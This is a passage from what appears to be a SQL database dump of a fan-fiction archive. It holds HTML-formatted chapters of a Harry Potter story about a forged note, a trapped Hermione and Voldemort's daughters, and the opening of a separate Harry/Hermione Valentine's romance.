\nhelped him to sit, thinking maybe he really did get his ass kicked.<br><br>Harry \nremoved his glasses which had a cracked lens, &quot; I don\'t know, I couldn\'t see who \nit was, I just kept getting thrown against the wall. Like some kind of \nforce&quot;.<br><br>She disappeared into the bathroom. Ella, who had been watching \nsince her mother dragged her father inside, took the long jump from the sill to \nthe floor, walking over to Harry. Wrapping her little hands around his \narm.<br><br>&quot; You have boo boo\'s?&quot;.<br><br>Hermione came back with a damp \nwashcloth and a brown bottle of iodine. &quot; Just a few&quot; he answered.<br><br>&quot; Do \nyou have an idea, who did this? Certainly it couldn\'t have been \nOlivia&quot;.<br><br>Ella sat herself on his leg. &quot; I sure hope so. I saw some what \nof a figure, it was not a litter girl&quot;.<br><br>Hermione turned the open bottle \nover the cloth. &quot; Watch Ella, it doesn\'t hurt&quot;. She placed it against the wound \nunder his eye.<br><br>It stung, and Harry winced sharply, but saw those emerald \neyes watching him. She had scraped her knees every other day, and had been \nterrified of the iodine.<br><br>Hermione took one of Ella\'s hands from Harry\'s \narm to the washcloth, &quot; hold that for me sweetie&quot;.<br><br>Harry watched her \nstand and head for the door, though did not say anything. As her hand reached \nfor the doorknob, he snatched the want she had dropped earlier. With one word, \nit was no longer possible for her to open the door.<br><br>&quot; Why did you do \nthat?&quot; she objected, &quot; we have to tell Ron about this&quot;.<br><br>&quot; If absolutely \nnecessary, I can tell him tomorrow&quot;.<br><br>Hermione tried to door again, &quot; what \nabout the students? I\'m in charge of the Gryffindors, I have to make sure \nthey\'re alright&quot;.<br><br>Harry stood, bringing Ella with him, &quot; no one gets past \nthe Fat Lady, you know that&quot; with the exception of Sirius Black a few years ago, \nbut it was different circumstances.<br><br>She gave up, went back towards them, \n&quot; someone dangerous is in the school&quot;.<br><br>&quot; And going out there alone at \nnight is not going to help&quot; he said, &quot; I\'ll go put her to bed&quot; Harry patted \nElla\'s back.<br><br>But as soon as he said that, Ella screamed, throwing her \nclutch around Harry\'s neck, &quot; no! I don\'t want you to get hurt&quot;.<br><br>Hermione \nwatched his stunned reaction. &quot; It\'s okay, no one\'s going to get hurt&quot; he softly \ntold her.<br><br>&quot; Yes they are&quot; Ella cried, burying her face in Harry\'s \nshoulder, &quot; they\'re going to hurt you daddy!&quot;.<br><br>Knowing it was not her \nusual attempt to get out of bedtime, Hermione stood next to him in less that \nthree steps. &quot; Who are you talking about, honey?&quot;.<br><br>&quot; The bad guy is gone, \nhe won\'t hurt anyone&quot; Harry said, though not knowing that his attacker could \nhave possibly been female.<br><br>&quot; No he\'s not&quot; Ella replied through her \ntears.<br><br>She remained crying for several minutes until crying herself to \nsleep. Still with a strong hold, Harry laid down on the bed with her on top of \nhim.<br><br><br><br>&quot; What do you think she meant?&quot; Harry whispered, Ella still \nasleep on his chest.<br><br>Hermione was laying next to them, &quot; I think she was \nscared because you were hurt, and she\'s afraid it may happen again&quot;.<br><br>But \nHarry couldn\'t ignore how confident his daughter sounded that \nnight.<br><br><br><br><br><br>Hermione was not to next to him when Harry awoke \nin the morning, but he knew she always left earlier on Wednesdays. He talked \nwith Ella about the event the night before, she seemed to be calm about it. \nMaybe it was a cover-up he couldn\'t see through.<br><br><br><br>At least that \nmorning, Harry had a decent amount of time to get to his first class after \nleaving Ella with Hagrid, they were thrilled to see each other, and he was \nrelieved that when she was acting more like herself.<br><br><br><br>&quot; Feeling \nbetter?&quot; Ron joined him from the lawn as Harry made his way back into the \nschool.<br><br>&quot; Hermione told you&quot; he guessed.<br><br>Ron nodded, &quot; I can\'t \nbelieve something like that happened, I hate to ask, but any ideas on what to \ndo?&quot;.<br><br>Harry shrugged, &quot; ignore it?&quot;.<br><br>&quot; That is a resolution I \nwould turn to, but not when my best friend gets hurt, that\'s when it gets \npersonal. Well, semi-personal, I guess you\'re involved too&quot;.<br><br><br><br>&quot; \nThank you Ron&quot;.<br><br>&quot; Well, if something happens to you, I don\'t know what \nI\'d do. I would have to start thinking for myself&quot; Ron claimed.<br><br>Harry \nlaughed, &quot; you\'d have Hermione&quot;.<br><br>Ron shrugged, &quot; anyways, I have top \nsecurity in every hallway. Trolls, paintings, even Sir Cadagean&quot;.<br><br>Harry \nshuttered, &quot; are you sure that\'s a good idea?&quot;.<br><br>Ron glared at him, &quot; it \nwas either him, or Demontors, I trust there is no more to be said&quot;.<br><br>Harry \nnodded. There was no possibility of him agreeing more, that\'s for \nsure.<br><br><br><br><br><br>There were no students in the classroom when Harry \narrived, there was still another seven-and-a-half minutes until class began (he \nwas very precise when it came to that). But the room was no empty. Hermione was \nthere, her back facing him.<br><br>&quot; Isn\'t this enough surprise&quot; he \nsmiled.<br><br>She turned around, now facing him. Her bloodshot eyes blended \nwith her tear stained cheeks and extreme expression of anger and hate. He was \nstunned by the sight.<br><br>&quot; What\'s wrong?&quot; he dared to ask.<br><br>Hermione\'s \nlip was trembling, she couldn\'t find the words to express her thoughts. &quot; Is \nthis your idea of a joke?&quot; her voice crackled by the emotions.<br><br>Harry \ndidn\'t understand, &quot; what idea?&quot;.<br><br>Swiftly, she walked away from his desk, \ncloser to him. &quot; Look, I didn\'t want to get pregnant when I was fifteen, but it \nhappened&quot;.<br><br>Blast from the past. &quot; I know that, we went through this four- \nyears-ago&quot;.<br><br>&quot; So this engagement is nothing more than a fraud to \nyou?&quot;.<br><br>&quot; What? Of course not, I would never do that to you!&quot;.<br><br>She \ncouldn\'t bare looking at him, &quot; I had really great news for you, and I was on my \nway here to tell you&quot; tears dwelled in her eyes, Harry watched her very closely, \n&quot; and instead I find this&quot;.<br><br>Throwing a crumbled piece of parchment that \nhad been enclosed in her hand, Hermione brushed past him, out of the classroom. \nHarry wanted to go after her, but knew how Hermione was when she was mad. If he \nwas going to talk with her, he would have to know what had her like this in the \nfirst place.<br><br>Harry straightened the paper, smoothing out some of the \nwrinkles. He didn\'t recognize the handwriting, he didn\'t recognize the words. \nYes this note, was addressed to \nhim.<br><br><br><br><br><br><br><br>Harry,<br><br>This relationship would \ncontinue better if you just told Hermione the truth. We wouldn\'t have to keep \nanything a secret, and we wouldn\'t have to hide our true feelings. Maybe you \ndon\'t have to tell her, she doesn\'t have to know. She doesn\'t deserve to know. \nAll that matters, is that you\'re only mine, and she can live in her own little \nfantasy world for all we \ncare.<br><br><br><br>Love,<br><br>Abigail<br><br><br><br><br><br>He couldn\'t \nbelieve the words in front of his eyes, in which he had never seen before. It \nwas fake, the entire note was unreal. But he was the only one who really knew \nthat. As for Hermione, she thought the love of her life was having an affair \nwith Abigail Roslyn, the Charms professor.<br><br><br><br><br><br>~ This doesn\'t \nhave too much to do with the plot, but it\'s going to help. Let me know what you \nthink, and beware, for later chapters.~\n'),
	(195, 20, '~ Home for the Summer~<br><br><br><br>Chapter Nineteen: \nTrapped<br><br><br><br>He had to wait until the students arrived before anything \ncould be done. Though professors weren\'t suppose to let their personal issues \ninterfere with teaching classes, this went beyond the rules.<br><br>Harry had \nassigned silent studying, then ran from the room with the parchment piece still \nin hand. Expecting to find Hermione, but instead, he found Ron \nfirst.<br><br>Hermione made it far from the Defense Against the Dark Arts \nclassroom. Soon enough, the emotions overtook her actions, and she collapsed to \nthe floor, supporting herself against the wall. She didn\'t want to believe that \nnote, still, she felt deceived and betrayed, by the last person she\'d ever think \nwould do that, to anyone. Her tears echoed the hallway along with the light \nsound of her engagement ring hitting the stone floor. At the same time, Hermione \ndidn\'t know. She didn\'t know that there was no affair, and Harry was always \nfaithful to her. She didn\'t know the note was a scam, never written by an Charms \nprofessor. Someone, just wanted to cause a conflict.<br><br><br><br>&quot; That is \ncrossing the line, that is&quot; Ron roughly exclaimed after what Harry had to tell \nhim, and reading the note, &quot; that\'s not even Abigail\'s handwriting&quot;.<br><br>&quot; I \nguessed that much&quot; Harry muttered.<br><br>Ron crumpled the note in his hands, \nwith a sharp expression of anger and revenge, &quot; get Miss Daniels from your \nclass. I\'m sending Pig to her parents immediately, he should be back by the time \nyou two arrive&quot;.<br><br>As much as Harry did not think Olivia would have gone \nthis far, he didn\'t care. &quot; Ron, I have to find Hermione, right way&quot;.<br><br>&quot; I \nknow how you feel, well not really, but she\'s probably really pissed at the \nmoment. You need to prove that this is fake&quot;.<br><br>&quot; It is fake!&quot;.<br><br>Ron \nsighed, &quot; I know, and maybe Hermione believes you as well, but, she many not. \nOlivia may never you alone&quot;.<br><br>Those words, six words, and his mind seemed \nto come into place. &quot; I see what you\'re saying, I\'m going to get that \ngirl&quot;.<br><br>But when he went back to the classroom, her chair was empty. She \nwas no longer there, but had been class began.<br><br>&quot; Where\'s \nOlivia?&quot;.<br><br>&quot; Lavatory&quot; Alistair Longbottom answered, &quot; been there for \nawhile&quot;.<br><br>Over the years, Harry no longer considered restriction from the \ngirls lavatory. Since the polyjuice potion and the Chamber of Secrets, it didn\'t \nmatter.<br><br>Each cubicle door was closed, Harry walked down the aisle, \nchecking under every one. Finally, he found two penny loafers.<br><br>&quot; Olivia?&quot; \nhe wasn\'t too willing to be polite with her. But, there was a chance maybe it \nwas no her on the other side of that door.<br><br>A sharp, startled gasp \nindicated that it most defiantly was.<br><br>He kicked his foot against the \ndoor. The lock snapped and the wood hit the cubicle wall. Olivia was watching in \npure shock, parchment sheets and quill in her possession.<br><br>&quot; You have to \ncome with me&quot;.<br><br>Olivia sat calmly in the large chair before Ron\'s desk. \nShe looked innocent, but Ron was not the kind of Headmaster whom scared the \nguilty students.<br><br>&quot; I didn\'t do anything!&quot; she claimed with a harsh tone \nwhen Ron mentioned a certain message Hermione received that day. &quot; I did not \nwrite that note!&quot;.<br><br>Harry stood next to the Headmaster\'s desk, letting him \nact upon his duty at Hogwarts.<br><br>&quot; Alright, let\'s forget about the letter \nfor right now. Do you have an excuse for the other things? Things you\'ve been \nsaying to Har- Professor Potter?&quot;.<br><br>Olivia eyed Harry, &quot; what \nthings?&quot;.<br><br>Ron also looked over at him, &quot; well, for one thing, about his \npersonal life.&quot;.<br><br>&quot; Professor Granger is my Transfiguration teacher&quot; she \ninterrupted eagerly, &quot; I saw her ring and someone else in the class had asked \nabout it&quot;.<br><br>&quot; What about he should not be named?&quot;.<br><br>She simply \nshrugged, &quot; it\'s not a big deal&quot;.<br><br>It was very odd. Every student was \nhorrified, let alone.<br><br>&quot; Are you afraid to talk about your father?&quot; Olivia \nhad asked Harry, making it look like he was the victim for a moment, rather than \nherself.<br><br><br><br>&quot; No&quot; he whispered. She had the look of satisfaction. &quot; \nOlivia, all I wanted to know is how you found out about those things and why you \nrepeated them?&quot; he had asked her calmly and rationally.<br><br>She became very \nsilent, mentally struggling with words that would make sense. And protect her. \nBut she didn\'t want to start spinning the web of lies.<br><br>Harry tried to \nsort out every peculiar detail about Olivia Daniels since the first day. Just as \nthe thought about asking if he was going to get..<br><br>&quot; My sister&quot;.<br><br>&quot; \nAdrianna?&quot; even Harry was surprised to hear the name.<br><br>Ron mocked an \neyebrow, &quot; what about her?&quot;.<br><br>&quot; She\'s madly in love&quot; Olivia looked at \nHarry, &quot; with him&quot;.<br><br>Harry\'s expression fell.<br><br>As well as Ron\'s, &quot; \nit doesn\'t make any sense, she\'s hardly seen him!&quot; he let out the one comment, &quot; \nokay, if Adrianna is to blame, why are you the one to act?&quot;.<br><br>Tears \nthreatened the girls eyes, &quot; I can\'t tell you!&quot; she screamed, &quot; I \ncan\'t!&quot;.<br><br>Before either Ron or Harry could try and calm her, another voice \nentered the room. It was very faint, almost like a muffled call. A call for \nhelp, it couldn\'t have been more than two syllables.<br><br>While the guys \nlooked high at the ceiling above the room, Olivia remained still, like she \nalready knew what was happening.<br><br>&quot; Does the school happened to be haunted \nand you just didn\'t tell anyone?&quot;.<br><br>&quot; Not by a ghost that we can\'t see&quot; \nRon answered. &quot; Maybe one of them is stuck in the air vents again&quot;.<br><br>Harry \nwatched him over to the wall near a bookcase, &quot; stuck? How can they get stuck, \nthey\'re ghosts&quot;.<br><br>&quot; True, but some of them aren\'t that bright&quot; he pulled \non a very small lever.<br><br>&quot; HELP!&quot; a voice shrilled so loud, the three of \nthem covered their ears immediately. &quot; Help me, please somebody!&quot;.<br><br>Ron \ngazed in the direction of where he knew the vents were, &quot; bloody hell, that\'s \nHermione!&quot;.<br><br>Harry had figured that out before Ron, he jumped up on the \ndesk. &quot; Hermione? What\'s wrong? Where are you?&quot;.<br><br>&quot; In the \nwall!&quot;.<br><br>Ron and Harry exchanged glances.<br><br>&quot; Okay, why are you in \nthe wall?&quot; Ron asked.<br><br>&quot; I don\'t know! I\'m trapped!&quot;.<br><br>The boys \nexchanged glances. Leaving Olivia alone, they bolted into the corridor, taking \nopposite directions. Ron went left, the same direction Hermione had gone \nearlier, but he didn\'t know. Yet.<br><br>Without warning, he fell to the floor. \nHis shoe had slipped on something small and round. When sitting up, Ron \nrecognized the item as Hermione\'s engagement ring.<br><br>&quot; Bloody hell&quot; he \nmuttered, &quot; Harry!&quot; he called, &quot; HARRY! HARRY JAMES POTTER!&quot;.<br><br>Harry came \nrunning up behind him, out of breath, &quot; what?&quot;. Ron held up the ring between his \ntwo fingers. &quot; Oh my god&quot; he panted.<br><br>Ron stared at the stonewall to his \nleft, &quot; I think this is the wall she was talking about&quot;<br><br>&quot; I think so \ntoo&quot;. Harry grabbed his wand, pointing it at the stone. &quot; Openius&quot;. Nothing \nhappened. &quot; Uh oh&quot;.<br><br>&quot; Wait a second&quot; Ron beamed, &quot; do you still have \nDumbledore\'s wand?&quot;.<br><br>Harry rolled his eyes, sarcastically responding, &quot; \nno Ron, I sold it on the Black Magic Market&quot;. He watched Ron\'s face turn \nhorrified, &quot; of course I have it&quot;.<br><br>He shook it off, &quot; that will do the \ntrick!&quot;.<br><br>Harry dissaparated before Ron\'s eyes, appearing in the room, \ndirectly in front of the windowsill where the loose board was. He struggled with \nit for a moment, shaking hands were not helping. As soon as the board had been \nremoved, Harry reached for the box.<br><br>But it was no longer \nthere.\n'),
	(195, 21, '~ Home for the Summer~<br><br><br><br>Chapter Twenty- The Tunnel<br><br>Harry ran back to where he had left Ron, who didn\'t seem to have moved a step since he left.<br><br>&quot; You know you can get back the same way you left&quot; he said.<br><br>Harry leaned over onto his knees, breathless, &quot; the wand, is gone&quot;.<br><br>&quot; So is Olivia&quot;.<br><br>They continued staring at the wall, like it had some unique characteristic, when really it looked the same as anything else in the corridor. To their unfortunate luck, it wasn\'t.<br><br>&quot; It\'s all starting to make sense&quot; Harry said, breathing normally, &quot; except, how do we get through?&quot;.<br><br>Ron nodded, &quot; the whole point of stone is that we don\'t go through&quot;.<br><br>Harry kept examining every brick in detail, &quot; there has to be a way&quot;.<br><br>&quot; Maybe, if we killed ourselves, then we\'d be ghost, and could fly through&quot;.<br><br>He gave him a look saying it was never going to happen, &quot; why don\'t we leave that to the last resort?&quot;.<br><br>Ron shrugged, trying to think of a new, and unique, plan. He never failed at that. &quot; The whole point of it is that we don\'t go through!&quot; he repeated, with much more meaning this time.<br><br>Harry snarled at him, signaling for him to make some sort of sense, even if it was Ron.<br><br>But instead of saying anything. Ron strolled across the corridor, with Harry watching. &quot; Thanks to Dobby and platform nine and three- quarters&quot;. That got his eyes to bulge.<br><br>Ron went rampaging towards the wall, like it was the way to the Hogwarts Express. Harry closed his eyes, not wanting to see a repeat before their second year. There was no sound, no thud, no Ron wincing in pain. He wasn\'t even there when Harry looked.<br><br>&quot; R-Ron?&quot; he gaped.<br><br>&quot; Bloody hell&quot; Ron\'s voice boomed in an echo, &quot; I think I found a way in. If I made it through, you will. Mind you, it\'s rather dark&quot;.<br><br>Harry took a running start, same way Ron did, though hit dead on, the impact knocking him backwards.<br><br>&quot; It\'s not working!&quot;. What if he wasn\'t able to get through? How come Ron was and he wasn\'t? Panic rushed through his mind.<br><br>&quot; Oh, my bad, I was standing in the way&quot; Ron said, discouraging Harry, &quot; try again&quot;.<br><br>Keeping his eyes tightly shut as he ran, he felt no obstacle in his path. Pure darkness coated around him after opening his eyes. He had made it through.<br><br>&quot; Ron?&quot;.<br><br>&quot; Right here&quot; the voice was not far.<br><br>&quot; Which way do we go?&quot; Harry asked.<br><br>He could hear Ron walk being him, &quot; I don\'t know, I didn\'t know this passage existed&quot; he stopped, then screaming, &quot; Hermione!&quot;.<br><br>Harry jerked away.<br><br>&quot; Ron, it was a faint scream, very faint, coming from the..<br><br>&quot; Left!&quot; Harry exclaimed.<br><br>While in that direction, the darkness began to fade with each step, a deep glow was forming. Tiny lanterns, those smaller than the ones in the regular corridors, led down another tunnel at the end of the one they had run into.<br><br>&quot; I don\'t think we should do this&quot; Ron\'s voice went into it\'s scared and panicking pitch, &quot; maybe we should go get the Headmaster&quot;.<br><br>Harry gave Ron a simple stare.<br><br>&quot; Oh right, I really have to start getting use to that&quot;.<br><br>The tunnel was taken with great caution, causing them to bend in the narrow space.<br><br>&quot; See, the only person that is meant to fit in here is a little person, maybe a little girl!&quot; Ron accused. Harry didn\'t respond. &quot; Hey, what\'s that?&quot;.<br><br>Not fifteen feet ahead, white light streaked from the crack under a closed door. They approached it at a faster speed.<br><br><br><br>&quot; Should we go in?&quot; Ron asked, hoping Harry would say no.<br><br>But he knew better. &quot; It ends here&quot;.<br><br>Ron grabbed his shoulder just as he had his hand on the door\'s rusted handle. Behind them, on the left, almost drilled through the cement, was a hole, about the size of a half dollar coin. Leading into the Headmasters office.<br><br>&quot; That must be how they know I had the wand&quot;, without really knowing who \' they\' was.<br><br>Harry placed his hand back where it was. Successfully opening it without any interruptions.<br><br>The open areas resembled the Chamber of Secrets quiet frankly, but few precise details indicated that it was not possible. It was smaller, no larger than one of the classrooms. Slowly, Ron and Harry walked inside, the door slamming itself shut with a loud crack. Looking around, the last thing Harry saw was, Hermione.<br><br>&quot; Hermione&quot; they both went running, Harry was ahead. She was curled p in the far corner, with her head resting on her knees, looking up when hearing her name.<br><br>&quot; No!&quot; she warned sharply, &quot; don\'t!&quot;.<br><br>An extreme shot of mind-bending pain bolted to the right side of Harry\'s forehead (that\'s where it is in the movies). His scar. The pain was so intense, that he dropped the floor, his fingers over that area.<br><br>Ron noticed when he was only a step in front. &quot; That\'s never good&quot; he said, coming to his side. Hermione didn\'t move, she seemed strangely distance from him.<br><br>A snapping sound took all three attentions to the other side of the chamber, another door. It had been opened, two figures had walked in, but the door did not close like it had done for Harry and Ron. They walked into the lighted area.<br><br>Olivia and Adrianna.<br><br>&quot; They can\'t be Lord Voldie&quot; Ron said, &quot; they\'re kids. He\'s here I know he is, why else is your scar hurting?&quot;.<br><br><br><br>&quot; We are not Lord Voldermort&quot; Olivia said sharply. It did sound odd, someone as grown as Ron using a name you\'d expect form a child, and someone as young as Olivia using the full, horrid name.<br><br>&quot; No, we\'re not&quot; Adrianna added, standing next, though shorter, than her sister.<br><br>Footsteps emerged behind the two girls, and they were soon enough joined. '),
	(195, 22, ' <br>\n\n\n<p>\n\n</p><p>\n\n<font color="Black">~ Home for the Summer~<br>\n\n\n<br>\n A/N: Though she never comes onto this site, I am really sorry for the upcoming chapters, Adrianna.<br>\n\n\n<br>\n Chapter Twenty-One: Daddy Voldemort<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n The hooded figure stood next to Olivia, casting a shadow over its face. Sharp shocks of extreme pain rang through the lighting bolt on Harry\'s forehead.<br>\n\n\n<br>\n Olivia pulled a wand from her robes. &quot; Emendo!&quot; she called, pointing it towards Harry. There was a thin, gold line, and the pain subsided.<br>\n\n\n<br>\n Harry stood, helping Hermione as well.<br>\n\n\n<br>\n The figure raised it\'s arms to the rims of the hood, sliding cloth over head. While the three were expecting a gruesome demon, they were surprised at the sight of a middle aged man that you would see in any ordinary day, except for the scar slashed diagonally (A/N: I just noticed that the word \' diagonally\' is really \' diagon\' and \'ally\' put together) across his face.<br>\n\n\n<br>\n &quot; Hello Harry&quot; his low voice growled.<br>\n\n\n<br>\n Harry twitched, &quot; hello Voldemort&quot; he hadn\'t said the name in a long time. Especially to the person himself.<br>\n\n\n<br>\n Ron eyed the girls, &quot; hey, why not come over here?&quot; trying to get them out of the danger next to them.<br>\n\n\n<br>\n Olivia stepped over, holding the mans hand, &quot; no&quot;. Adrianna remained still and silent.<br>\n\n\n<br>\n Harry bent down, &quot; come on sweetie, you\'ll be safer&quot;.<br>\n\n\n<br>\n &quot; We want to stay with our father&quot; Olivia replied.<br>\n\n\n<br>\n &quot; Oh..my...god&quot; Ron gasped, &quot; good thing you guys didn\'t like my idea about that parents weekend&quot;.<br>\n\n\n<br>\n Hermione panicked, &quot; wait, so Olivia and Adrianna are..your daughters?&quot;.<br>\n\n\n<br>\n &quot; Yes&quot; Voldemort replied, &quot; even those in the Dark Magic consider having a family&quot;.<br>\n\n\n<br>\n &quot; It\'s pitch black where you are&quot; Ron muttered.<br>\n\n\n<br>\n Voldemort ignored him, &quot; no need to worry, Harry, Ella is fine, still with the games keeper. This is not another repeat of Draco Malfoy&quot;.<br>\n\n\n<br>\n &quot; You\'ve been watching us this entire time?&quot; Harry gaped.<br>\n\n\n<br>\n He nodded, &quot; there is no one who can get better acquainted with their teachers, then the students. None better than my own children, I knew everything from what you named your first born to where you hid Dumbledore\'s wand&quot;.<br>\n\n\n<br>\n Adrianna quivered, staring at Harry with big blue eyes, &quot; I\'m sorry, it was me the entire time, I did it all&quot; thinking everything was to be blamed on her.<br>\n\n\n<br>\n Harry quickly smiled at her, then shrugged at her father, &quot; why now? It\'s been four years, and now you want to make another appearance. Why?&quot;.<br>\n\n\n<br>\n Voldemort took a stroll from his daughters, &quot; you were a powerful child Harry, still are&quot; he would be one to know, &quot; a result from you mother and father&quot;.<br>\n\n\n<br>\n &quot; How would I know?&quot; the answer was well known, &quot; I can\'t remember them, it\'s almost like I never had the chance to love my own parents&quot;. Though Harry wondered about the Daniel\'s girls mother, or whatever their names really happened to be.<br>\n\n\n<br>\n &quot; What do his parents have to do with this?&quot; Ron asked impatiently.<br>\n\n\n<br>\n &quot; The power in you&quot; Voldemort began, &quot; was to be passed from you and divided among your first two off springs. Together, with their father, with any desire they could defeat every trait in Dark Magic&quot;.<br>\n\n\n<br>\n Harry had an annoyed expression (not noticing Hermione biting her lip), &quot; Ella\'s four, she\'s my only child, more so, I would never do anything that dangerous with her&quot;.<br>\n\n\n<br>\n &quot; You\'re only child?&quot; he raised an eyebrow, expressing the word \'only\'. He looked at Hermione like they were sharing a secret.<br>\n\n\n<br>\n In a way, they were. &quot; That\'s the news I wanted to tell you&quot; Hermione sighed, &quot; I\'m pregnant&quot;.<br>\n\n\n<br>\n &quot; What?&quot; Harry\'s expression fell, his eyes widened.<br>\n\n\n<br>\n Hermione\'s cheeks twitched, &quot; I was looking for the right time to tell you&quot;.<br>\n\n\n<br>\n &quot; Herm, we talked about other places, but this defiantly qualifies as an exception&quot; Ron muttered.<br>\n\n\n<br>\n Harry forgot about Lord Voldemort, as difficult as it could me, &quot; you knew? You\'re my best friend, you\'re suppose to tell me these things!&quot;.<br>\n\n\n<br>\n &quot; I asked him not to!&quot;.<br>\n\n\n<br>\n &quot; My best friend, and Lord Voldemort finds out about these things before I do&quot; Harry claimed.<br>\n\n\n<br>\n Ron pointed at the horrible excuse for a man before him, &quot; hey, at least I didn\'t tell Voldie&quot;.<br>\n\n\n<br>\n &quot; What is this? \' Don\'t tell Harry What\'s Going on Day\'?&quot; he sarcastically asked.<br>\n\n\n<br>\n &quot; More like \' Don\'t tell Harry What\'s Going on Month\'&quot; Hermione answered.<br>\n\n\n<br>\n Voldemort loudly cleared his throat in hopes to gain their attention.<br>\n\n\n<br>\n &quot; Oh yeah, him&quot; Harry commented, sounding like it was a situation dealt with day by day.<br>\n\n\n<br>\n &quot; I have only returned for that reason, I cannot take the risk of being destroyed&quot;.<br>\n\n\n<br>\n Ron laughed, &quot; that just shows how weak you are, Harry stripped you of all your powers before he was able to talk. What makes you think you can kill us now?&quot;.<br>\n\n\n<br>\n &quot; Ron, you stupid, stupid moron&quot; Hermione muttered, shaking her head.<br>\n\n\n<br>\n Voldemort reached into the pocket of his long cloak, removing the gold wand, encrusted with sparking jewels.<br>\n\n\n<br>\n &quot; Oh right that&quot; Ron said, &quot; forgot about that&quot;.<br>\n\n\n<br>\n Olivia snarled, &quot; it has more power than Voldemort himself, you said it yourself, Headmaster&quot;.<br>\n\n\n<br>\n &quot; No&quot; he snarled in return, &quot; I said Voldie, not Voldemort, you stupid girls&quot;.<br>\n\n\n<br>\n One wave of the wand, and Ron flew in a rush into the wall behind them, falling to the ground unconscious.<br>\n\n\n<br>\n &quot; Thinking about doing that myself&quot; Hermione muttered.<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Harry cornered Hermione between himself and the wall, away from Voldemort\'s path with the wand. For once, he didn\'t know what to do. His own wand would be completely useless, even as a distraction. The most dangerous wizard in history was standing there, ready to kill him. This time, he may actually succeed.<br>\n\n\n<br>\n &quot; I\'ve been waiting eighteen years, eighteen long years&quot;.<br>\n\n\n<br>\n Hermione took hold of Harry\'s hand from behind his back, giving it a little squeeze. The wand was lifted only an inch into the air, when.<br>\n\n\n<br>\n &quot; Ella, no!&quot;.<br>\n\n\n<br>\n\n\n</font>\n\n</p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(196, 1, '\n\n\n\n<p class="MsoBodyText"><b>TITLE:&nbsp; &#8220;What a Girl Wants&#8221; (1/1)</b></p>\n\n<p class="MsoBodyText"><b>AUTHOR:&nbsp; starcrossed</b></p>\n\n<p class="MsoBodyText"><b>E-MAIL:&nbsp; sassykajun@hotmail.com</b><b></b></p>\n\n<p class="MsoBodyText"><b>FEEDBACK:&nbsp; Never refused and always replied to.</b></p>\n\n<p class="MsoBodyText"><b>PAIRING:&nbsp; Harry/Hermione</b></p>\n\n<p class="MsoBodyText"><b>RATING: PG-13</b></p>\n\n<p class="MsoBodyText"><b>SUMMARY:&nbsp; Harry/Hermione romance fic that takes place\nduring seventh year.</b></p>\n\n<p class="MsoBodyText"><b>DISCLAIMER:&nbsp; I own nothing with the possible exception of\nmy original story idea.&nbsp; Harry Potter\nand all of his friends belong to the lovely J.K. Rowling and I&#8217;ve merely\nborrowed them for my own little story.</b></p>\n\n<p class="MsoBodyText"><b>DISTRIBUTION:&nbsp; Ask and it shall most likely be given.</b></p>\n\n<p class="MsoBodyText"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione stood gazing longingly at the display of\nValentine candy in the window of Honeydukes.&nbsp;\nIt wasn&#8217;t the candy that she was longing for, rather it was the holiday\nof Valentine&#8217;s itself.&nbsp; What good did a romantic\nholiday do a girl with a boyfriend when said boyfriend needed some serious\nlessons in the romance department?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nreally shouldn&#8217;t complain.&nbsp; Harry *was*\nawfully sweet in many other ways.&nbsp; It\nwas just sometimes; well sometimes she wished that he&#8217;d &#8216;court&#8217; her more.&nbsp; Lately, his idea of something romantic was\nto drag her into an empty closet or classroom for a good snog.&nbsp; Not that she minded their snogging sessions,\nquite the contrary, but sometimes, a girl needed more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsighed.&nbsp; She knew that Harry needed more\nfrom her in than just snogging.&nbsp; He\nneeded for their snogging to turn into actual shagging.&nbsp; Not that he&#8217;d said as much, at least not in\nso many words, but she could tell.&nbsp; She\nsupposed that she couldn&#8217;t really blame him.&nbsp;\nThey were seventeen, now, and had been dating each other for two\nyears.&nbsp; A lot of the other students she\nknew had been shagging for quite some time now.&nbsp; These days it seemed like she and Harry were the only couple at\nschool that hadn&#8217;t taken that final step. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mandy,\nher Ravenclaw friend, was constantly bragging about her late night interludes\nwith Seamus Finnegan.&nbsp; And Hermione\ndidn&#8217;t even want to think about the kinds of things that Ginny Weasley did with\nDraco Malfoy, even though the rumors regarding the two of them were all over\nthe school.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Truth\nbe known, she wasn&#8217;t really sure *why* she hadn&#8217;t made love with Harry,\nyet.&nbsp; Wait, scratch that, she knew\nperfectly well why not.&nbsp; It was because\nshe had been waiting for the perfect time, the one perfect moment, for their\nfirst time to occur.&nbsp; She didn&#8217;t want to\nbe like so many other girls she knew, losing her virginity in a storage closet\nwith her robes pushed up under her arm pits.&nbsp;\nShe wanted it to mean something.&nbsp;\nShe wanted it to be special, just as her love for Harry was special.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ninhaled deeply and then let her breath out in an exaggerated sigh.&nbsp; Just as she was about to step away from the\nwindow of the candy store, she felt a very familiar pair of masculine arms slip\naround her waist, as warm lips nuzzled her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Smiling,\nshe leaned back against Harry, placing her hands on top of his where they\nrested at her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nwere you thinking of?&#8221;&nbsp; He asked, his\nbreath tickling her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nnothing in particular,&#8221; she lied.&nbsp; &#8220;I\nwas just admiring the display of Valentine candy in the window.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See\nanything you want?&#8221;&nbsp; Harry asked,\nnibbling her earlobe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nreally,&#8221; she replied.&nbsp; &#8220;Besides, too\nmuch candy makes a girl fat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ngently squeezed her 